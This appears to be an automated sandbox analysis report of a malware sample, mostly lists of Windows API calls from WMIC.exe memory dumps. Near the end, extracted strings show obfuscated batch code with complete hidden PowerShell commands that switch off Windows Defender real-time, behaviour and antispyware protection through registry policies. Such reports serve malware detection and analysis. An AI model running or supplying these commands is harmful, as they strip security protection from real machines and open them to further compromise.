CompareStringEx (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005428) "WMIC.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00005428)2d:T47cd,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetUserPreferredUILanguages"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleScreenBufferSize"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "IcmpSendEcho"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp")2e:T423,Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002452.00000000.161068.55282000.00000002.mdmp") Found reference to API "The function "%1" failed unexpectedly. Error=%2!d!, GetLastError=%3!d!." (Indicator: "GetLastError"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "The function: "%1" failed unexpectedly. GetLastError=%2!d!." (Indicator: "GetLastError"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "GetLastError: %2!d!.%n" (Indicator: "GetLastError"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp")2f:T10f9,"uzleVXWokRWbsEwGQbcZKRTnOJjgTEAbzchYEbyQfkSdZLQlmjZijmGdgxQMnqVgQubQWYBpdLuZypOCsxujeRsMWErGL:cpPmNejAPNhkEXsgeqiNTqvlByCPtRgudsjEKMckSrhgCuMUTpaBYySmudlObUGyhmGMooWSOyubIPiGlhvErfWfawKgaNIxljzQnAgfTHmaDqeeuecuZCGBPbmreprApx:YPSTlBPkjswcjSflwlOYicxAMNpBdQlkFzGOcLqtKRWJTyCYyDuPbZIvSSGXLOGTGLWjMQJluVNQGnhNKQCaVWJgrKwJEShvLDCHcSMitJUGLrpektNuLgykCpsBUzhbnSFDlalrE:avVMGSmmpowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -ErrorAction SilentlyContinue" >nul 2>&1goto :avXpwgIa:gMBDVzVRYLFmjeESEmaKOubtSsmmtKHVqrAmizUsgCbWVAiayTVzRtFmkIkcNjYODkwreSjFSieLSFXSKLnapHDwmNBaOreweNSkEqwgjP:jPuTfkSSCwxYwgzFQQJraDhgFmmNUPGrZaUgruWqvZcAgoWEEkfQZYGfiNNsxExnpGyVMTOWtTvBbhARPiJjjqRBToyegdsqboLZpArlWIWGcEEAMwcOvODzoxBX:jpPaEamWabPrXNaTLYPkxRkAeuNkLlryURmTHfYeRemUN" in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin "BuEFfUzZFtvQ:YxUVBAXOQloNzqaIDSYkRAfkFRPcBGCnfvtetfTAXrkJQsgdYQCbXfqYRkPkkuNKiBhEwvPYzXMZPWUNklDkDbQzEUN:avXpwgIapowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableRealtimeMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableBehaviorMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableOnAccessProtection' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableScanOnRealtimeEnable' -Value 1 -ErrorAction SilentlyContinue" >nul" in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin "powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -ErrorAction SilentlyContinue" >nul 2>&1" in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin "powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableRealtimeMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableBehaviorMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableOnAccessProtection' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableScanOnRealtimeEnable' -Value 1 -ErrorAction SilentlyContinue" >nul 2>&1" in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin "gistry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00002452.00000000.161068.A3EF1000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00002452.00000000.161068.A6650000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 